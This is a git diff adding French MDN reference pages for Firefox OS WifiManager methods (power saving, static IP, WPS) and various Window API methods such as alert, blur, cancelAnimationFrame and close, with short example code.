@@ -0,0 +1,39 @@
+---
+title: WifiManager.setPowerSavingMode()
+slug: Web/API/WifiManager/setPowerSavingMode
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/setPowerSavingMode
+---
+<div>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</div>
+
+<div>{{B2GOnlyHeader2('certified') }}</div>
+
+<p>La méthode <code>setPowerSavingMode</code> est utilisée pour que l'adaptateur WiFi active ou désactive le mode économie d'énergie.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.setPowerSavingMode(enabled);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>enabled</dt>
+ <dd>Un booléen indiquant si le dispositif doit activer (<code>true</code>) ou désactiver (<code>false</code>) le mode économie d'énergie.</dd>
+</dl>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>Elle renvoie un handle <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a>  qui indique le succès ou l'echec de l'opération.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/setstaticipmode/index.html b/files/fr/web/api/wifimanager/setstaticipmode/index.html
new file mode 100644
index 0000000000..f88e2433eb
--- /dev/null
+++ b/files/fr/web/api/wifimanager/setstaticipmode/index.html
@@ -0,0 +1,51 @@
+---
+title: WifiManager.setStaticIpMode()
+slug: Web/API/WifiManager/setStaticIpMode
+tags:
+  - API
+  - B2G
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/setStaticIpMode
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{B2GOnlyHeader2('certified')}}</div>
+
+<p>La méthode <code>setStaticIpMod</code> est utilisée pour définir une adresse IP statique ou dynamique pour l'appareil sur un réseau donné (si le réseau dispose d'un serveur DHCP).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.setStaticIpMode(param);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>param</dt>
+ <dd>Un objet de configuration avec les propriétés suivantes:
+ <ul>
+  <li><code>enabled</code> : Un booléen demandant si le mode IP statique doit être activé (<code>true</code>) ou désactivé (<code>false</code>). Si il est désactivé et un réseau WiFi DHCP activé, l'appareil obtiendra une adresse IP dynamique.</li>
+  <li><code>ipaddr</code> : Une chaîne représentant l'adresse IP de l'appareil dans le format de quad en pointillés.</li>
+  <li><code>proxy</code> : Une chaîne représentant l'adresse du serveur proxy (le cas échéant, sinon une chaîne vide).</li>
+  <li><code>maskLength</code> : Un nombre représentant la longueur du masque réseau.</li>
+  <li><code>gateway</code> : Une chaîne représentant une adresse de passerelle (le cas échéant, sinon une chaîne vide).</li>
+  <li><code>dns1</code> : Une chaîne représentant la première adresse du serveur DNS.</li>
+  <li><code>dns2</code> : Une chaîne représentant la deuxième adresse du serveur DNS.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>Elle renvoie un handle <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a>  qui indique le succès ou l'echec de l'opération.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/wifimanager/wps/index.html b/files/fr/web/api/wifimanager/wps/index.html
new file mode 100644
index 0000000000..b1b232f9a7
--- /dev/null
+++ b/files/fr/web/api/wifimanager/wps/index.html
@@ -0,0 +1,112 @@
+---
+title: WifiManager.wps()
+slug: Web/API/WifiManager/wps
+tags:
+  - API
+  - B2G
+  - Method
+  - Non Standard
+  - WebAPI
+translation_of: Archive/B2G_OS/API/WifiManager/wps
+---
+<div>{{APIRef("Firefox OS")}}{{non-standard_header}}</div>
+
+<div>{{ B2GOnlyHeader2('certified') }}</div>
+
+<p>La méthode <code>wps</code> est utilisée pour traiter un handle de connexion<a class="external external-icon" href="http://fr.wikipedia.org/wiki/Wi-Fi_Protected_Setup" title="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup">WPS</a> avec les réseaux qui soutiennent cette fonctionnalité.</p>
+
+<p>Un réseau suportant une connexion WPS à la chaîne <code>WPS</code> disponible dans le tableau {{domxref("WifiManager.capabilities")}}.</p>
+
+<p>Une <a class="external external-icon" href="http://fr.wikipedia.org/wiki/Wi-Fi_Protected_Setup" title="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup">connexion WPS</a> est un moyen simple de connecter un périphérique à un réseau. Il nécessite moins de connaissances de l'utilisateur et rend les choses plus faciles pour lui.Fondamentalement, quand un utilisateur a un routeur WiFi compatible WPS, il peut choisir cette méthode pour connecter son appareil sur le réseau au lieu de saisir son mot de passe.</p>
+
+<p>Il existe deux façons de lancer une connexion WPS:</p>
+
+<ul>
+ <li>La plus simple est d'appuyer sur un bouton dédié du routeur WiFi.</li>
+ <li>Une alternative est d'indiquer un code PIN fourni par le routeur WiFi. Il y a alors deux cas d'utilisation :
+  <ol>
+   <li>Le routeur WiFi enverra un code PIN à l'appareil que l'utilisateur doit saisir sur l'interface de routeur WiFi.</li>
+   <li>Le routeur WiFi attend que l'utilisateur saisisse un code PIN sur son périphérique (généralement, un tel code PIN est affiché sur le routeur WiFi lui-même).</li>
+  </ol>
+ </li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var request = navigator.mozWifiManager.wps(param);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>param</dt>
+ <dd>Un objet de configuration avec les propriétés suivantes :
+ <ul>
+  <li><code>method</code> : l'une des chaînes suivantes :
+   <ul>
+    <li><code>cancel</code> pour annuler une tentative de connexion WPS.</li>
+    <li><code>pbs</code> pour tenter une connexion en appuyant sur ​​le bouton physique du routeur WiFi.</li>
+    <li><code>pin</code> pour tenter une connexion avec un code pin.</li>
+   </ul>
+  </li>
+  <li><code>bssid</code> : une chaîne représentant le bssid du réseau pour se connecter. Il est obligatoire si la propriété <code>method</code> est définie à <code>pin</code> .</li>
+  <li><code>pin </code>: une chaîne représentant le code pin saisi par l'utilisateur. Il est obligatoire si la propriété <code>method</code> est définie à <code>pin</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Résultats">Résultats</h3>
+
+<p>Elle renvoie un handle <a href="https://developer.mozilla.org/fr/docs/Web/API/DOMRequest"><code>DOMRequest</code></a>qui indique le succès ou l'échec de l'opération.</p>
+
+<p>Lorsque la propriété <code>method</code> est définie à <code>pin</code>, si l'opération est réussie et si l'utilisateur doit saisir un numéro d'identification sur son interface de routeur WiFi, le résultat de la requête est une chaîne représentant le code PIN.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var wifi = navigator.mozWifiManager;
+
+var request = wifi.getNetworks();
+
+request.onsuccess = function () {
+  // <code>Utilisons</code><code class="language-js"><span class="comment token"> du premier réseau.</span></code>
+  var network = this.result[0];
+  var isWPSEnabled = network.capabilities.indexOf('WPS') &gt; -1;
+  var wpsRequest;
+
+  if (isWPSEnabled) {
+    if (comfirm(<code>'</code><code class="language-js"><span class="string token">Voulez-vous utiliser le bouton poussoir pour connecter votre appareil ?</span></code>')) {
+      wpsRequest = wifi.wps({
+        method : 'pbs'
+      });
+    }
+
+    else if (confirm('<code class="language-js"><span class="string token">Voulez-vous saisir un numéro de code PIN sur votre interface de routeur wifi ?</span></code>')){
+      wpsRequest = wifi.wps({
+        method : 'pin',
+        bssid: network.bssid
+      })
+
+      wpsRequest.onsuccess = function () {
+        alert('<code class="language-js"><span class="string token">Veuillez saisir ce numéro sur votre interface de routeur WiFi:</span></code>' + this.result)
+      }
+    }
+
+    else {
+      wpsRequest = wifi.wps({
+        method : 'pin',
+        bssid: network.bssid
+        pin: prompt('<code class="language-js"><span class="string token">Veuillez indiquer le code PIN de votre routeur WiFi.</span></code>')
+      })
+    }
+  }
+}</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WifiManager")}}</li>
+ <li><a href="/fr/docs/WebAPI/WiFi_Information" title="/en-US/docs/WebAPI/WiFi_Information">WifI Information API</a></li>
+</ul>
diff --git a/files/fr/web/api/window/alert/index.html b/files/fr/web/api/window/alert/index.html
new file mode 100644
index 0000000000..cacd0d33db
--- /dev/null
+++ b/files/fr/web/api/window/alert/index.html
@@ -0,0 +1,37 @@
+---
+title: window.alert
+slug: Web/API/Window/alert
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/alert
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Affiche un dialogue d'alerte contenant le texte spécifié.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">window.alert(<i>message</i>);
+</pre>
+<ul>
+ <li><code>message</code> est une chaîne contenant le texte à afficher dans le dialogue d'alerte.</li>
+</ul>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre class="eval">window.alert("Bonjour !");
+</pre>
+<p>produira :</p>
+<p><img alt="Image:AlertHelloWorld.png"></p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Le dialogue d'alerte doit être utilisé pour les messages qui ne demandent aucune réponse de la part de l'utilisateur, à part son acceptation du message.</p>
+<p><span class="comment">Le texte suivant est commun à cet article, DOM:window.prompt et DOM:window.confirm</span> Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant qu'elles ne sont pas fermées. C'est pourquoi il ne faut pas abuser des fonctions créant une boîte de dialogue (ou fenêtre modale).</p>
+<p>Les applications utilisant le chrome (par exemple les extensions) devront plutôt utiliser les méthodes de <a href="fr/NsIPromptService">nsIPromptService</a>.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+<ul>
+ <li><a href="/fr/DOM/window.confirm" title="Affiche un dialogue modal avec un message et deux boutons, OK et Annuler.">confirm</a></li>
+ <li><a href="/fr/DOM/window.prompt" title="Affiche un dialogue avec un message demandant à l'utilisateur d'entrer une réponse sous forme de texte.">prompt</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.alert", "ja": "ja/DOM/window.alert", "pl": "pl/DOM/window.alert" } ) }}</p>
diff --git a/files/fr/web/api/window/applicationcache/index.html b/files/fr/web/api/window/applicationcache/index.html
new file mode 100644
index 0000000000..1999a31f7f
--- /dev/null
+++ b/files/fr/web/api/window/applicationcache/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.applicationCache
+slug: Web/API/Window/applicationCache
+translation_of: Web/API/Window/applicationCache
+---
+<div class="blockIndicator warning">
+<p><strong>Important</strong>: Le cache d'application est obsolète depuis Firefox 44, et n'est plus disponible dans un contexte non sécurisé depuis Firefox 60 ({{bug(1354175)}}, actuellemet Nightly/Beta seulement). Ne pas l'utiliser sur des sites hors lignes — envisager l'utilisation de <a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API">service workers</a> à la place.</p>
+</div>
+
+<p>{{APIRef}}</p>
+
+<h2 id="Summary" name="Summary">Sommaire</h2>
+
+<p>Retourne une référence à l'objet du cache d'application pour la fenêtre.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>cache</var> = window.applicationCache
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>cache</code> est une référence objet pour un {{domxref("OfflineResourceList")}}.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li>{{spec("http://www.w3.org/TR/2008/WD-html5-20080122/#appcache","HTML 5","WD")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Using_the_application_cache">Using Application Cache</a></li>
+</ul>
diff --git a/files/fr/web/api/window/back/index.html b/files/fr/web/api/window/back/index.html
new file mode 100644
index 0000000000..653d5b9d61
--- /dev/null
+++ b/files/fr/web/api/window/back/index.html
@@ -0,0 +1,59 @@
+---
+title: Window.back()
+slug: Web/API/Window/back
+tags:
+  - API
+  - Firefox
+  - Gecko
+  - HTML DOM
+  - Méthode
+  - Non-standard
+  - Obsolete
+  - Window
+  - back
+translation_of: Web/API/Window/back
+---
+<div>{{APIRef}}{{ Non-standard_header() }}{{deprecated_header}}</div>
+
+<p>La méthode obsolète et non standard <code>back()</code> sur l'objet {{domxref("window")}} renvoie la fenêtre à l'élément précédent de l'historique. Il s'agissait d'une méthode spécifique à Firefox et a été supprimée dans Firefox 31.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Utilisez plutôt la méthode standard {{domxref("history.back")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">window.back();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple simple gère un clic sur un bouton "Retour" en rappelant <code>back()</code>.</p>
+
+<pre class="brush:js notranslate">function boutonRetour() {
+  if (peutRevenirEnArriere) {
+    window.back();
+  }
+}</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Cela ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Cette méthode non standard n'a été implémentée que dans Firefox et a été supprimée dans Firefox 31.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("History.back()")}}</li>
+ <li>{{domxref("History.forward()")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/blur/index.html b/files/fr/web/api/window/blur/index.html
new file mode 100644
index 0000000000..ecfd8ee20b
--- /dev/null
+++ b/files/fr/web/api/window/blur/index.html
@@ -0,0 +1,48 @@
+---
+title: Window.blur()
+slug: Web/API/Window/blur
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Méthode
+translation_of: Web/API/Window/blur
+---
+<p>{{APIRef}}</p>
+
+<p>Éloigne la mise au point de la fenêtre.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><code>window.blur()</code></pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js notranslate">window.blur();</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>La méthode window.blur () est l'équivalent programmatique du déplacement du focus de l'utilisateur loin de la fenêtre courante.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentair</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.blur")}}</p>
diff --git a/files/fr/web/api/window/cancelanimationframe/index.html b/files/fr/web/api/window/cancelanimationframe/index.html
new file mode 100644
index 0000000000..53e22003a2
--- /dev/null
+++ b/files/fr/web/api/window/cancelanimationframe/index.html
@@ -0,0 +1,79 @@
+---
+title: window.cancelAnimationFrame()
+slug: Web/API/Window/cancelAnimationFrame
+tags:
+  - API
+  - Animation
+  - DOM
+  - Experimental
+  - Méthode
+  - Reference
+  - Window
+translation_of: Web/API/Window/cancelAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<div>La méthode <code><strong>window.cancelAnimationFrame()</strong></code> met fin à une animation précédement configurée par un appel à {{domxref("window.requestAnimationFrame()")}}.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox" id="window.cancelAnimationFramerequestID_Paramètres">window.cancelAnimationFrame(<em>requestID</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>requestID</code></dt>
+ <dd>L'identifiant retourné par l'appel à {{domxref("window.requestAnimationFrame()")}} qui a généré la fonction de rappel (callback)</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Seulement supporté par Firefox. Les autre navigateurs peuvent utiliser quelque chose comme Date.now()..
+
+var myReq; // Déclarer la variable globalement avant de lancer l'animation
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress &lt; 2000) {
+    // Ne pas oublier de récupérer l'identifiant à chaque appel de la fonction
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+// L'annulation utilise le dernier identifiant
+cancelAnimationFrame(myReq);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{spec("https://www.w3.org/TR/html51/webappapis.html#animation-frames", "Timing control for script-based animations: cancelAnimationFrame", "WD")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Window.cancelAnimationFrame")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/cancelidlecallback/index.html b/files/fr/web/api/window/cancelidlecallback/index.html
new file mode 100644
index 0000000000..e09d66e88b
--- /dev/null
+++ b/files/fr/web/api/window/cancelidlecallback/index.html
@@ -0,0 +1,94 @@
+---
+title: window.cancelIdleCallback()
+slug: Web/API/Window/cancelIdleCallback
+translation_of: Web/API/Window/cancelIdleCallback
+---
+<div>{{APIRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>La méthode <strong><code>window.cancelIdleCallback()</code></strong> annule une fonction précedemment planifiée via {{domxref("window.requestIdleCallback()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">window.cancelIdleCallback(<em>idleCallbackId</em>);</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">idleCallbackId</font></dt>
+ <dd>L'entier long non-signé retourné par {{domxref("window.requestIdleCallback()")}}.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Status</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/window/captureevents/index.html b/files/fr/web/api/window/captureevents/index.html
new file mode 100644
index 0000000000..20774b49a8
--- /dev/null
+++ b/files/fr/web/api/window/captureevents/index.html
@@ -0,0 +1,57 @@
+---
+title: Window.captureEvents()
+slug: Web/API/Window/captureEvents
+tags:
+  - API
+  - Gecko
+  - HTML DOM
+  - Méthode
+  - Non-standard
+translation_of: Web/API/Window/captureEvents
+---
+<div>{{ ApiRef() }} {{deprecated_header(1.9)}} {{Non-standard_header}}</div>
+
+<p>La méthode <code><strong>Window.captureEvents()</strong></code> enregistre la fenêtre pour capturer tous les événements du type spécifié.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">window.captureEvents(<em>eventType</em>)
+</pre>
+
+<p><code>eventType</code> est une combinaison des valeurs suivantes: <code>Event.ABORT</code>, <code>Event.BLUR</code>, <code>Event.CLICK</code>, <code>Event.CHANGE</code>, <code>Event.DBLCLICK</code>, <code>Event.DRAGDDROP</code>, <code>Event.ERROR</code>, <code>Event.FOCUS</code>, <code>Event.KEYDOWN</code>, <code>Event.KEYPRESS</code>, <code>Event.KEYUP</code>, <code>Event.LOAD</code>, <code>Event.MOUSEDOWN</code>, <code>Event.MOUSEMOVE</code>, <code>Event.MOUSEOUT</code>, <code>Event.MOUSEOVER</code>, <code>Event.MOUSEUP</code>, <code>Event.MOVE</code>, <code>Event.RESET</code>, <code>Event.RESIZE</code>, <code>Event.SELECT</code>, <code>Event.SUBMIT</code>, <code>Event.UNLOAD</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="fr"&gt;
+&lt;head&gt;
+&lt;!-- ... --&gt;
+&lt;script&gt;
+function reg() {
+  window.captureEvents(Event.CLICK);
+  window.onclick = page_click;
+}
+
+function page_click() {
+  alert('événement de clic sur la page détecté!');
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="reg();"&gt;
+&lt;p&gt;cliquez n'importe où sur cette page.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les événements déclenchés dans le DOM par l'activité de l'utilisateur (tels que cliquer sur des boutons ou déplacer le focus loin du document actuel) passent généralement par la <a href="/en-US/docs/Web/API/Window"><code>window</code></a> de haut niveau et les objets de<code> </code><a href="/en-US/docs/Web/API/document"><code>document</code></a> avant d'arriver à l'objet qui a déclenché l'événement.</p>
+
+<p>Lorsque vous appelez la méthode <code>captureEvents()</code> sur <a href="/en-US/docs/Web/API/Window"><code>window</code></a>, événements du type que vous spécifier (par exemple, <code>Event.CLICK</code>) ne passe plus par les objets "inférieurs" de la hiérarchie. Pour que les événements "bouillonnent" comme ils le font normalement, vous devez appeler<code> </code><a href="/en-US/docs/Web/API/window.releaseEvents"><code>window.releaseEvents()</code></a> ({{deprecated_inline}}) sur la fenêtre pour l'empêcher de piéger les événements.</p>
+
+<p>Notez que vous pouvez transmettre une liste d'événements à cette méthode en utilisant la syntaxe suivante : <code>window.captureEvents(Event.KEYPRESS | Event.KEYDOWN | Event.KEYUP)</code>.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Cela ne fait partie d'aucune spécification.</p>
diff --git a/files/fr/web/api/window/clearimmediate/index.html b/files/fr/web/api/window/clearimmediate/index.html
new file mode 100644
index 0000000000..dca567cf36
--- /dev/null
+++ b/files/fr/web/api/window/clearimmediate/index.html
@@ -0,0 +1,68 @@
+---
+title: Window.clearImmediate()
+slug: Web/API/Window/clearImmediate
+tags:
+  - API
+  - HTML DOM
+  - Méthode
+  - Window
+translation_of: Web/API/Window/clearImmediate
+---
+<p>{{APIRef("HTML DOM")}}{{Non-standard_header}}</p>
+
+<p>Cette méthode efface l'action spécifiée par {{DOMxRef("window.setImmediate")}}.</p>
+
+<div class="blockIndicator note">
+<p>Cette méthode ne devrait pas devenir standard et n'est implémentée que par les versions récentes d'Internet Explorer et de Node.js 0.10+. Il rencontre la résistance à la fois de <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=686201" title="https://bugzilla.mozilla.org/show_bug.cgi?id=686201">Gecko</a> (Firefox) et <a href="http://code.google.com/p/chromium/issues/detail?id=146172" title="http://code.google.com/p/chromium/issues/detail?id=146172">Webkit</a> (Google/Apple).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>window</var>.clearImmediate( <var>immediateID</var> )
+</pre>
+
+<p>où immediateID est un ID retourné par {{DOMxRef("window.setImmediate")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">let immediateID = setImmediate(() =&gt; {
+  // Exécute du code
+}
+
+document.getElementById("bouton")
+  .addEventListener(() =&gt; {
+  clearImmediate(immediateID);
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="https://w3c.github.io/setImmediate/#si-setImmediate" hreflang="en" lang="en">Efficient Script Yielding<br>
+    <small lang="en-US">The definition of '<code>setImmediate</code>' in that specification.</small></a></td>
+   <td><span class="spec-ED">Editor's Draft</span></td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux donées, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.clearImmediate")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{DOMxRef("Window.setImmediate()")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/close/index.html b/files/fr/web/api/window/close/index.html
new file mode 100644
index 0000000000..7ed74d3242
--- /dev/null
+++ b/files/fr/web/api/window/close/index.html
@@ -0,0 +1,49 @@
+---
+title: window.close
+slug: Web/API/Window/close
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/close
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Ferme la fenêtre référencée.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre>window.close();
+</pre>
+<h3 id="Description" name="Description">Description</h3>
+<p>Lorsque cette méthode est appelée, la fenêtre référencée est fermée.</p>
+<p>Cette méthode est uniquement autorisée à être appelée pour des fenêtres qui ont été ouvertes par un script à l'aide de la méthode <a href="fr/DOM/window.open">window.open</a>. Si la fenêtre n'a pas été ouverte par un script, l'erreur suivante apparaît dans la console JavaScript : <code>Scripts may not close windows that were not opened by script.</code></p>
+<h4 id="Exemples" name="Exemples">Exemples</h4>
+<h5 id="Fermeture_d.27une_fen.C3.AAtre_ouverte_avec_window.open.28.29" name="Fermeture_d.27une_fen.C3.AAtre_ouverte_avec_window.open.28.29">Fermeture d'une fenêtre ouverte avec window.open()</h5>
